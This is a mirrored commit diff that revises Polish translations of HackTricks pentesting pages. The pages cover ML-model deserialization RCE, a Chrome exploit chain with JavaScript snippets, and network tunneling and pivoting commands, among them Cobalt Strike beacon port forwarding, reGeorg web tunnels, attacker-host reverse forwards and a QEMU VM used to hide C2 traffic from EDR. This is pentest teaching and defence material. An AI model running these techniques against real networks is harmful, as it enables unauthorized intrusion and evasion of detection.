mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
901863526c
commit
1fccd9c8ca
@ -17,11 +17,11 @@ W momencie pisania, oto kilka przykładów tego typu luk:
|
|||||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Ładowanie modelu za pomocą `joblib.load` wykonuje pickle z ładunkiem `__reduce__` atakującego | |
|
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Ładowanie modelu za pomocą `joblib.load` wykonuje pickle z ładunkiem `__reduce__` atakującego | |
|
||||||
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie zserializowanych tablic obiektów – złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
|
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie zserializowanych tablic obiektów – złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
|
||||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (przechodzenie katalogów) <br> **CVE-2024-5187** (przechodzenie tar) | Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików) <br> Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE) | |
|
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (przechodzenie katalogów) <br> **CVE-2024-5187** (przechodzenie tar) | Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików) <br> Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE) | |
|
||||||
| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | |
|
| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* Niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | |
|
||||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżek) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżek względnych do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
|
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżki) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżki względnej do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
|
||||||
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (wiele przepełnień sterty) | Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary | |
|
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (wiele przepełnień sterty) | Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary | |
|
||||||
| **Keras (starsze formaty)** | *(Brak nowego CVE)* Legacy model Keras H5 | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”) | |
|
| **Keras (starsze formaty)** | *(Brak nowego CVE)* Model Keras H5 w wersji legacy | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”) | |
|
||||||
| **Inne** (ogólnie) | *Wada projektowa* – serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | |
|
| **Inne** (ogólnie) | *Wada projektowa* – Serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | |
|
||||||
|
|
||||||
Ponadto istnieją modele oparte na python pickle, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
|
Ponadto istnieją modele oparte na python pickle, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
|
||||||
|
|
||||||
@ -67,7 +67,7 @@ json={}, # body can be empty
|
|||||||
timeout=5,
|
timeout=5,
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
4. Kiedy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI.
|
4. Gdy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI.
|
||||||
|
|
||||||
Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_12029` automatyzuje cały proces.
|
Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_12029` automatyzuje cały proces.
|
||||||
|
|
||||||
@ -79,7 +79,7 @@ Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_
|
|||||||
|
|
||||||
#### Łagodzenia
|
#### Łagodzenia
|
||||||
|
|
||||||
* Uaktualnij do **InvokeAI ≥ 5.4.3** – łatka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
|
* Uaktualnij do **InvokeAI ≥ 5.4.3** – poprawka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
|
||||||
* Podczas programowego ładowania punktów kontrolnych używaj `torch.load(file, weights_only=True)` lub nowego [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomocnika.
|
* Podczas programowego ładowania punktów kontrolnych używaj `torch.load(file, weights_only=True)` lub nowego [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomocnika.
|
||||||
* Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami.
|
* Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami.
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ Zrozumienie powierzchni ataku wymaga wiedzy o tym, gdzie kod jest wykonywany i k
|
|||||||
Layered defence-in-depth:
|
Layered defence-in-depth:
|
||||||
|
|
||||||
* **V8 sandbox** (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm.
|
* **V8 sandbox** (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm.
|
||||||
* **Podział Renderer ↔ Browser** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci.
|
* **Podział Renderer ↔ Przeglądarka** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci.
|
||||||
* **OS sandboksy** dodatkowo ograniczają każdy proces (Windows Integrity Levels / `seccomp-bpf` / profile sandboxów macOS).
|
* **OS sandboksy** dodatkowo ograniczają każdy proces (Windows Integrity Levels / `seccomp-bpf` / profile sandboxów macOS).
|
||||||
|
|
||||||
Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów:
|
Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów:
|
||||||
@ -43,7 +43,7 @@ Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów:
|
|||||||
|
|
||||||
## 2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
## 2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||||
|
|
||||||
Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencji WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*.
|
Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencyjne WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*.
|
||||||
|
|
||||||
Efekt:
|
Efekt:
|
||||||
* Kompilator **pomija sprawdzenie typu**, traktując *referencję* (`externref/anyref`) jako *int64*.
|
* Kompilator **pomija sprawdzenie typu**, traktując *referencję* (`externref/anyref`) jako *int64*.
|
||||||
@ -90,8 +90,8 @@ Nadpisanie 2 × 64-bitowych pól obiektu `Tuple2` umożliwia **odczyt/zapis na d
|
|||||||
|
|
||||||
Kluczowe kroki w exploicie:
|
Kluczowe kroki w exploicie:
|
||||||
1. Wprowadź funkcję w stan **Tier-Up**, przełączając między kodem turbofan/baseline.
|
1. Wprowadź funkcję w stan **Tier-Up**, przełączając między kodem turbofan/baseline.
|
||||||
2. Wywołaj tier-up, utrzymując referencję na stosie (`Function.prototype.apply`).
|
2. Wyzwól tier-up, utrzymując odniesienie na stosie (`Function.prototype.apply`).
|
||||||
3. Użyj AAR/AAW Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`.
|
3. Użyj AAR/AAW z Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`.
|
||||||
|
|
||||||
Identyfikacja wrappera:
|
Identyfikacja wrappera:
|
||||||
```js
|
```js
|
||||||
@ -132,7 +132,7 @@ Nie jest konieczne dodatkowe uszkodzenie pamięci – **błąd logiczny** daje n
|
|||||||
|
|
||||||
1. **Użytkownik odwiedza** złośliwą stronę internetową.
|
1. **Użytkownik odwiedza** złośliwą stronę internetową.
|
||||||
2. **Etap 1**: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW.
|
2. **Etap 1**: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW.
|
||||||
3. **Etap 2**: Niedopasowanie wrappera uszkadza `Tuple2` → ucieczka z piaskownicy V8.
|
3. **Etap 2**: Niedopasowanie opakowania uszkadza `Tuple2` → ucieczka z piaskownicy V8.
|
||||||
4. **Etap 3**: `startDragging()` IPC → ucieczka z piaskownicy OS i wykonanie ładunku.
|
4. **Etap 3**: `startDragging()` IPC → ucieczka z piaskownicy OS i wykonanie ładunku.
|
||||||
|
|
||||||
Wynik: **Zdalne wykonanie kodu (RCE)** na hoście (Chrome 130, Windows/Linux/macOS).
|
Wynik: **Zdalne wykonanie kodu (RCE)** na hoście (Chrome 130, Windows/Linux/macOS).
|
||||||
@ -160,7 +160,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
|||||||
|
|
||||||
* **Błędy JIT WebAssembly** pozostają niezawodnym punktem wejścia – system typów jest wciąż młody.
|
* **Błędy JIT WebAssembly** pozostają niezawodnym punktem wejścia – system typów jest wciąż młody.
|
||||||
* Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza **ucieczkę z piaskownicy V8**.
|
* Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza **ucieczkę z piaskownicy V8**.
|
||||||
* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** – zwracaj uwagę na *błędy niezwiązane z pamięcią*.
|
* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** – zwracaj uwagę na *błędy niepamięciowe*.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -2,10 +2,10 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Wskazówka Nmap
|
## Nmap tip
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
|
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||||||
```
|
```
|
||||||
### VPN-Tunnel
|
### VPN-Tunnel
|
||||||
|
|
||||||
Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||||
`PermitRootLogin yes`\
|
`PermitRootLogin yes`\
|
||||||
`PermitTunnel yes`
|
`PermitTunnel yes`
|
||||||
```bash
|
```bash
|
||||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)**
|
> **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)**
|
||||||
> Atak downgrade Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
Możesz **tunele** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
||||||
Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24
|
Na przykład, przekazywanie całego ruchu kierowanego do 10.10.10.0/24
|
||||||
```bash
|
```bash
|
||||||
pip install sshuttle
|
pip install sshuttle
|
||||||
sshuttle -r user@host 10.10.10.10/24
|
sshuttle -r user@host 10.10.10.10/24
|
||||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||||||
|
|
||||||
### SOCKS proxy
|
### SOCKS proxy
|
||||||
|
|
||||||
Otwórz port w serwerze zespołowym nasłuchującym na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**.
|
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**.
|
||||||
```bash
|
```bash
|
||||||
beacon> socks 1080
|
beacon> socks 1080
|
||||||
[+] started SOCKS4a server on: 1080
|
[+] started SOCKS4a server on: 1080
|
||||||
@ -149,12 +149,12 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||||||
### rPort2Port
|
### rPort2Port
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port
|
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
|
||||||
```bash
|
```bash
|
||||||
rportfwd [bind port] [forward host] [forward port]
|
rportfwd [bind port] [forward host] [forward port]
|
||||||
rportfwd stop [bind port]
|
rportfwd stop [bind port]
|
||||||
```
|
```
|
||||||
Do zauważenia:
|
Aby zauważyć:
|
||||||
|
|
||||||
- Odwrócone przekierowanie portów Beacona jest zaprojektowane do **tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami**.
|
- Odwrócone przekierowanie portów Beacona jest zaprojektowane do **tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami**.
|
||||||
- Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P.
|
- Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P.
|
||||||
@ -163,7 +163,7 @@ Do zauważenia:
|
|||||||
### rPort2Port lokalnie
|
### rPort2Port lokalnie
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
> W tym przypadku **port jest otwierany w hoście beacona**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||||
```bash
|
```bash
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
rportfwd_local stop [bind port]
|
rportfwd_local stop [bind port]
|
||||||
@ -172,14 +172,14 @@ rportfwd_local stop [bind port]
|
|||||||
|
|
||||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||||
|
|
||||||
Musisz przesłać plik tunelowy: ashx|aspx|js|jsp|php|php|jsp
|
Musisz przesłać plik webowy tunel: ashx|aspx|js|jsp|php|php|jsp
|
||||||
```bash
|
```bash
|
||||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||||
```
|
```
|
||||||
## Chisel
|
## Chisel
|
||||||
|
|
||||||
Możesz go pobrać ze strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
Możesz go pobrać z strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||||
Musisz używać **tej samej wersji dla klienta i serwera**
|
Musisz użyć **tej samej wersji dla klienta i serwera**
|
||||||
|
|
||||||
### socks
|
### socks
|
||||||
```bash
|
```bash
|
||||||
@ -231,7 +231,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
|||||||
# Display the currently running listeners on the agent -- Attacker
|
# Display the currently running listeners on the agent -- Attacker
|
||||||
listener_list
|
listener_list
|
||||||
```
|
```
|
||||||
### Uzyskaj dostęp do lokalnych portów agenta
|
### Uzyskiwanie dostępu do lokalnych portów agenta
|
||||||
```bash
|
```bash
|
||||||
# Establish a tunnel from the proxy server to the agent
|
# Establish a tunnel from the proxy server to the agent
|
||||||
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
||||||
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
Musisz mieć **dostęp RDP do systemu**.\
|
Musisz mieć **dostęp RDP do systemu**.\
|
||||||
Pobierz:
|
Pobierz:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za **tunneling pakietów przez połączenie RDP**.
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za **tunneling pakietów przez połączenie RDP**.
|
||||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||||
|
|
||||||
Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób:
|
Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób:
|
||||||
@ -370,9 +370,9 @@ netstat -antb | findstr 1080
|
|||||||
```
|
```
|
||||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.**
|
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.**
|
||||||
|
|
||||||
## Proxyzowanie aplikacji GUI w systemie Windows
|
## Proxyzowanie aplikacji GUI w Windows
|
||||||
|
|
||||||
Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||||
W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\
|
W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\
|
||||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować.
|
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować.
|
||||||
|
|
||||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
|||||||
Proxy 10.0.0.10:8080
|
Proxy 10.0.0.10:8080
|
||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||||||
## ngrok
|
## ngrok
|
||||||
|
|
||||||
[**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\
|
[**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\
|
||||||
_Adresy URI eksponujące są jak:_ **UID.ngrok.io**
|
_URI eksponowania wygląda jak:_ **UID.ngrok.io**
|
||||||
|
|
||||||
### Instalacja
|
### Instalacja
|
||||||
|
|
||||||
@ -561,7 +561,7 @@ cloudflared tunnel --url http://localhost:8080
|
|||||||
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
||||||
# Now configure proxychains to use 127.0.0.1:1080
|
# Now configure proxychains to use 127.0.0.1:1080
|
||||||
```
|
```
|
||||||
### Trwałe tunele z DNS
|
### Trwałe tunelowanie z DNS
|
||||||
```bash
|
```bash
|
||||||
cloudflared tunnel create mytunnel
|
cloudflared tunnel create mytunnel
|
||||||
cloudflared tunnel route dns mytunnel internal.example.com
|
cloudflared tunnel route dns mytunnel internal.example.com
|
||||||
@ -612,7 +612,7 @@ Powyższe polecenie publikuje port ofiary **8080** jako **attacker_ip:9000** bez
|
|||||||
|
|
||||||
## Tajne tunelowanie oparte na VM z QEMU
|
## Tajne tunelowanie oparte na VM z QEMU
|
||||||
|
|
||||||
Sieciowanie w trybie użytkownika QEMU (`-netdev user`) obsługuje opcję o nazwie `hostfwd`, która **wiąże port TCP/UDP na *hoście* i przekazuje go do *gościa***. Gdy gość uruchamia pełny demon SSH, reguła hostfwd daje ci jednorazowy serwer SSH, który żyje całkowicie wewnątrz efemerycznej VM – idealne do ukrywania ruchu C2 przed EDR, ponieważ wszystkie złośliwe działania i pliki pozostają na wirtualnym dysku.
|
Sieciowanie w trybie użytkownika QEMU (`-netdev user`) obsługuje opcję o nazwie `hostfwd`, która **wiąże port TCP/UDP na *hoście* i przekazuje go do *gościa***. Gdy gość uruchamia pełny demon SSH, reguła hostfwd daje ci jednorazowy skok SSH, który żyje całkowicie wewnątrz efemerycznej VM – idealne do ukrywania ruchu C2 przed EDR, ponieważ wszystkie złośliwe działania i pliki pozostają na wirtualnym dysku.
|
||||||
|
|
||||||
### Szybka linia komend
|
### Szybka linia komend
|
||||||
```powershell
|
```powershell
|
||||||
@ -653,14 +653,14 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
|||||||
### Dlaczego to unika wykrycia
|
### Dlaczego to unika wykrycia
|
||||||
|
|
||||||
• Tylko dwa niesigned executables (`qemu-system-*.exe`) dotykają dysku; nie są instalowane żadne sterowniki ani usługi.
|
• Tylko dwa niesigned executables (`qemu-system-*.exe`) dotykają dysku; nie są instalowane żadne sterowniki ani usługi.
|
||||||
• Produkty zabezpieczające na hoście widzą **nieszkodliwy ruch loopback** (rzeczywisty C2 kończy się wewnątrz VM).
|
• Produkty zabezpieczające na hoście widzą **łagodny ruch loopback** (rzeczywisty C2 kończy się wewnątrz VM).
|
||||||
• Skany pamięci nigdy nie analizują przestrzeni procesów złośliwych, ponieważ żyje ona w innym systemie operacyjnym.
|
• Skany pamięci nigdy nie analizują złośliwej przestrzeni procesów, ponieważ żyje ona w innym systemie operacyjnym.
|
||||||
|
|
||||||
### Wskazówki dla Defendera
|
### Wskazówki dla Defendera
|
||||||
|
|
||||||
• Alarmuj na **nieoczekiwane binaria QEMU/VirtualBox/KVM** w ścieżkach zapisywalnych przez użytkownika.
|
• Alarmuj na **nieoczekiwane binaria QEMU/VirtualBox/KVM** w ścieżkach zapisywalnych przez użytkownika.
|
||||||
• Blokuj połączenia wychodzące, które pochodzą z `qemu-system*.exe`.
|
• Blokuj połączenia wychodzące, które pochodzą z `qemu-system*.exe`.
|
||||||
• Poluj na rzadkie porty nasłuchujące (2222, 10022, …) wiążące się natychmiast po uruchomieniu QEMU.
|
• Szukaj rzadkich portów nasłuchujących (2222, 10022, …) wiążących się natychmiast po uruchomieniu QEMU.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za
|
|||||||
```
|
```
|
||||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||||
```
|
```
|
||||||
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów oraz określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
||||||
```
|
```
|
||||||
SW1# show vlan brief
|
SW1# show vlan brief
|
||||||
```
|
```
|
||||||
@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
|
|||||||
sudo ifconfig eth0.50 up
|
sudo ifconfig eth0.50 up
|
||||||
sudo ifconfig eth0.60 up
|
sudo ifconfig eth0.60 up
|
||||||
```
|
```
|
||||||
Następnie żądanie adresu jest wysyłane za pośrednictwem DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
||||||
```bash
|
```bash
|
||||||
sudo dhclient -v eth0.10
|
sudo dhclient -v eth0.10
|
||||||
sudo dhclient -v eth0.20
|
sudo dhclient -v eth0.20
|
||||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
|||||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||||
```
|
```
|
||||||
